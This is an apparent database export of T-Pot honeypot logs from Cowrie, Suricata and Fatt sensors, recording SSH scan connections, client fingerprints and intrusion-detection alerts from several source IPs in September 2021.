30505	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:35:58.612674+03	2021-09-20 14:45:03.246142+03	{"_id": "Rwb9AnwBvYTbRNuEyz03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "149acd0a9258", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:35:58.612674Z", "@timestamp": "2021-09-20T11:35:58.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30499	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:38.778938+03	2021-09-20 14:45:03.237142+03	{"_id": "9Ab9AnwBvYTbRNuEezzf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40650, "timestamp": "2021-09-20T11:35:38.778938", "@timestamp": "2021-09-20T11:35:38.778Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30500	42.192.47.188	109.199.241.180	Cowrie	2021-09-20 14:35:29.006649+03	2021-09-20 14:45:03.239141+03	{"_id": "0wb9AnwBvYTbRNuEVTz5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.47.188", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.47.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "cf2ee2f652c5", "@version": "1", "duration": 120.00092959403992, "timestamp": "2021-09-20T11:35:29.006649Z", "@timestamp": "2021-09-20T11:35:29.006Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30501	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:20.000272+03	2021-09-20 14:45:03.240141+03	{"_id": "1Qb9AnwBvYTbRNuEVzyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:19.045349+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1850301736530213, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 63872, "timestamp": "2021-09-20T11:35:20.000272Z", "@timestamp": "2021-09-20T11:35:20.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30502	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:30.277677+03	2021-09-20 14:45:03.242143+03	{"_id": "3Ab9AnwBvYTbRNuEWzyQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:29.804382+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 868251026408990, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 59825, "timestamp": "2021-09-20T11:35:30.277677Z", "@timestamp": "2021-09-20T11:35:30.277Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30503	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:59.396765+03	2021-09-20 14:45:03.243142+03	{"_id": "SQb9AnwBvYTbRNuEyz03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:28918 (192.168.176.2:22) [session: d8600d2f467a]", "session": "d8600d2f467a", "@version": "1", "protocol": "ssh", "src_port": 28918, "dest_port": 22, "timestamp": "2021-09-20T11:35:59.396765Z", "@timestamp": "2021-09-20T11:35:59.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30506	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:35:58.95761+03	2021-09-20 14:45:03.248142+03	{"_id": "SAb9AnwBvYTbRNuEyz03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "149acd0a9258", "@version": "1", "timestamp": "2021-09-20T11:35:58.957610Z", "@timestamp": "2021-09-20T11:35:58.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30507	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:35:59.657904+03	2021-09-20 14:45:03.249142+03	{"_id": "TQb9AnwBvYTbRNuEzD3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1728719808828057, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 28918, "dest_port": 22, "timestamp": "2021-09-20T11:35:59.657904Z", "@timestamp": "2021-09-20T11:35:59.657Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30508	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:35:59.135833+03	2021-09-20 14:45:03.251141+03	{"_id": "Tgb9AnwBvYTbRNuEzD3l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:59.135833+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1728719808828057, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 28918, "dest_port": 22, "timestamp": "2021-09-20T11:35:59.135833Z", "@timestamp": "2021-09-20T11:35:59.135Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
30509	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:35:59.658026+03	2021-09-20 14:45:03.252142+03	{"_id": "UAb9AnwBvYTbRNuEzT3y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 28918, "dest_port": 22, "timestamp": "2021-09-20T11:35:59.658026", "@timestamp": "2021-09-20T11:35:59.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30510	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:36:00.39777+03	2021-09-20 14:45:03.254141+03	{"_id": "Vwb9AnwBvYTbRNuEzz0g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7742cb90a2e7", "@version": "1", "timestamp": "2021-09-20T11:36:00.397770Z", "@timestamp": "2021-09-20T11:36:00.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30511	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:59.658641+03	2021-09-20 14:45:03.255142+03	{"_id": "Wgb9AnwBvYTbRNuEzz0h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "d8600d2f467a", "@version": "1", "timestamp": "2021-09-20T11:35:59.658641Z", "@timestamp": "2021-09-20T11:35:59.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30512	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:36:00.123912+03	2021-09-20 14:45:03.257143+03	{"_id": "Wwb9AnwBvYTbRNuEzz0h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7742cb90a2e7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:36:00.123912Z", "@timestamp": "2021-09-20T11:36:00.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30513	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:36:00.397321+03	2021-09-20 14:45:03.258142+03	{"_id": "XAb9AnwBvYTbRNuE0D3O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 1533026066492422, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48552, "dest_port": 22, "timestamp": "2021-09-20T11:36:00.397321Z", "@timestamp": "2021-09-20T11:36:00.397Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30514	121.4.68.188	109.199.241.180	Fatt	2021-09-20 14:36:00.397391+03	2021-09-20 14:45:03.260142+03	{"_id": "Xwb9AnwBvYTbRNuE0T3b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48552, "dest_port": 22, "timestamp": "2021-09-20T11:36:00.397391", "@timestamp": "2021-09-20T11:36:00.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
